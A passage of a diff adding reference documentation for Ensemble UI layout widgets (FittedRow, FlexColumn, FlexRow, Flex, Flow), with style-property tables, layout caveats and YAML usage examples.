integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# FittedRow (deprecated) +This widget is deprecated. Please use [FlexRow](/pages/widgets/flex-row.md) instead. + +Stretch to fit the parent (the parent is required to have a predetermined width), then distribute the horizontal spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :------------------------------------------------- | +| children | array | List of widgets | +| onTap | action | Call Ensemble's built-in functions or execute code | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | +| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or Object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | +| gap | integer | The gap between the children in the main direction | +| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# FlexColumn + +FlexColumn is designed to lay out child widgets vertically and proportionally from the available space given by its parent. By default, FlexColumn assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. + +## Best Practices +- Use FlexColumn when you need a vertical layout with proportional space distribution among the children. +- **Avoid** using FlexColumn in a scrollable parent, such as a ListView or a scrollable Column, without a fixed height, as it will lead to layout issues. FlexColumn and its children need to be constrained to a definite size to properly calculate the flex distribution. +- **Avoid** using FlexColumn in another Column. Column does not constrain its children's dimensions, which FlexColumn requires to calculate the flex distribution. Instead consider giving the FlexColumn a height or use all FlexColumn(s) up the parent chain. + +## Key Concepts + +- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexColumn have a flex value of 1 unless specified. +- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. + - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). + - `flexible`: The child occupies only the space it needs, up to its flex factor. + - `none`: The child occupies the space it needs (flex factor is ignored). +- When laying out its children, `FlexColumn` follows this specific order: + - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). + - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. + - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. + +## Caveats +- **FlexColumn width**: Note that setting a width for a FlexColumn acts more like a maximum width constraint. The FlexColumn determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. + If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. + + +## Usage + +A simple FlexColumn with three child widgets, each taking up equal space (all have flex=1 by default): + +```yaml +FlexColumn: + children: + - Text: + text: Child 1 + - Text: + text: Child 2 + - Text: + text: Child 3 +``` + +Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": + +```yaml +FlexColumn: + children: + - Text: + text: Child 1 # default flex=1 since not specified + - Text: + text: Child 2 + styles: + flex: 2 + - Text: + text: Child 3 + styles: + flex: 1 +``` + +Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): + +```yaml +FlexColumn: + children: + - Text: + text: Flexible Child + styles: + flexMode: flexible + - Text: + text: Expanded Child + styles: + flex: 2 + flexMode: expanded + +``` + +## Related +- See [FlexRow](#flexrow) for a similar layout in the horizontal direction. +- See [Column](#column-widget) for a more generic and scrollable container for laying out children vertically. + +## Reference +#### Properties + +| Property | Type | Description | +|----------------------------------|----------------------------------------|----------------------------------------------------------| +| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | +| onTap | Action | An action that is triggered when the widget is tapped. | +| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | +| styles | object | [See properties](#styles) | + +#### Styles + +| Style Property | Type | Description | +|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| +| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | +| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | +| mainAxisSize | MainAxisSize | How to size the container along the main axis. | +| gap | integer | The gap between child widgets, in logical pixels. | +| fontFamily | string | The font family to use for text within the widget. | +| fontSize | integer | The size of the font to use for text within the widget. | +| width | integer | The width of the widget, in logical pixels. | +| height | integer | The height of the widget, in logical pixels. | +| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | +| boxShadow | BoxShadow | Shadow properties for the widget. | +| borderRadius | BorderRadius | The radius of the widget's corners. | +| borderColor | [Color](#Color) | The color of the widget's border. | +| borderWidth | integer | The width of the widget's border, in logical pixels. | +| backgroundColor | [Color](#Color) | The widget's background color. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| padding | Padding | Padding inside the widget, affecting its child widgets. | +| margin | Margin | Margin outside the widget, affecting its position relative to others. | +| flex | integer | Applicable only inside FlexRow or FlexColumn. Determines the space allocated to this widget relative to its siblings. | +| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | +| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | +| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | +| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | +| alignment | Alignment | Aligns this widget relative to its parent. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | +| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | +| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | +| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | + +#### Box Styles (Inherited) + +[box](_snippets/box-styles.md ':include') + + +#### Base Styles (Inherited) + +[base](_snippets/base-styles.md ':include') + +--- + +# FlexRow + +FlexRow is designed to lay out child widgets horizontally and proportionally from the available space given by its parent. By default, flexRow assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. + +## Best Practices +- Use FlexRow when you need a horizontal layout with proportional space distribution among the children. +- **Avoid** using FlexRow in a scrollable parent, such as scrollable Row, without a fixed width, as it will lead to layout issues. FlexRow and its children need to be constrained to a definite size to properly calculate the flex distribution. +- **Avoid** using FlexRow in another Row. Row does not constrain its children's dimensions, which FlexRow requires to calculate the flex distribution. Instead consider giving the FlexRow a width or use all FlexRow(s) up the parent chain. + +## Key Concepts + +- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexRow have a flex value of 1 unless specified. +- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. + - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). + - `flexible`: The child occupies only the space it needs, up to its flex factor. + - `none`: The child occupies the space it needs (flex factor is ignored). +- When laying out its children, FlexRow follows this specific order: + - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). + - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. + - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. + +## Caveats +- **Row height**: Note that setting a height for a FlexRow acts more like a maximum height constraint. The FlexRow determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. + If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. + +## Usage + +A simple FlexRow with three child widgets, each taking up equal space (all have flex=1 by default): + +```yaml +FlexRow: + children: + - Text: + text: Child 1 + - Text: + text: Child 2 + - Text: + text: Child 3 +``` + +Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": + +```yaml +FlexRow: + children: + - Text: + text: Child 1 # default flex=1 since not specified + - Text: + text: Child 2 + styles: + flex: 2 + - Text: + text: Child 3 + styles: + flex: 1 +``` + +Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): + +```yaml +FlexRow: + children: + - Text: + text: Flexible Child + styles: + flexMode: flexible + - Text: + text: Expanded Child + styles: + flex: 2 + flexMode: expanded + +``` + +## Related +- See [FlexColumn](#flexcolumn) for a similar layout in the vertical direction. +- See [Row](#column-widget) for a more generic and scrollable container for laying out children horizontally. + +## Reference +#### Properties + +| Property | Type | Description | +|----------------------------------|----------------------------------------|----------------------------------------------------------| +| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | +| onTap | Action | An action that is triggered when the widget is tapped. | +| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | +| styles | object | [See properties](#styles) | + +#### Styles + +| Style Property | Type | Description | +|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| +| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | +| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | +| mainAxisSize | MainAxisSize | How to size the container along the main axis. | +| gap` | integer | The gap between child widgets, in logical pixels. | +| fontFamily | string | The font family to use for text within the widget. | +| fontSize | integer | The size of the font to use for text within the widget. | +| width | integer | The width of the widget, in logical pixels. | +| height | integer | The height of the widget, in logical pixels. | +| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | +| boxShadow | BoxShadow | Shadow properties for the widget. | +| borderRadius | BorderRadius | The radius of the widget's corners. | +| borderColor | [Color](#Color) | The color of the widget's border. | +| borderWidth | integer | The width of the widget's border, in logical pixels. | +| backgroundColor | [Color](#Color) | The widget's background color. | +| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | +| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | +| padding | Padding | Padding inside the widget, affecting its child widgets. | +| margin | Margin | Margin outside the widget, affecting its position relative to others. | +| flex | integer | Applicable only inside FlexRow or flexRow. Determines the space allocated to this widget relative to its siblings. | +| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | +| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | +| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | +| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | +| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | +| alignment | Alignment | Aligns this widget relative to its parent. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | +| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | +| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | +| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | + +#### Box Styles (Inherited) + +[box](_snippets/box-styles.md ':include') + + +#### Base Styles (Inherited) + +[base](_snippets/base-styles.md ':include') + +--- + +# Flex + +The Flex Widget is a versatile layout option that dynamically switches between Row or Column based on the direction property, offering flexible and responsive designs that adapt to different screen sizes. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) + +## Properties + +| Property | Type | Description | +| :------------ | :----- | :------------------------------- | +| children | array | List of widgets | +| styles | object | [See properties](#styles) | +| item-template | object | [See properties](#item-template) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| direction | string | Lay out the children vertically or horizontally | +| mainAxis | string | Control how to lay out the children, in the direction specified by the 'direction' attribute. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | +| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | +| crossAxis | string | Control the alignment of the children on the secondary axis (depending on the 'direction' attribute). `start` `center` `end` `stretch` `baseline` | +| mainAxisSize | string | If 'max', stretch the Flex to fill its parent's dimension (width or height based on the direction). Otherwise (min) the Flex's dimension will be its children's combined. | +| scrollable | boolean | Set to true so content can scroll vertically or horizontally as needed | +| autoFit | boolean | Explicitly match the width or height to the largest child's size, but only if the parent does not already assign a width or height. This attribute is useful for sizing children who don't have a width or height (e.g Divider) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | +| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | +| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | +| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | +| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | +| gap | integer | The gap between the children in the main direction | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Flow + +The Flow Widget is a container that wraps its children, with a default horizontal direction that can be customized to vertical, allowing for flexible and fluid layouts within your application. + 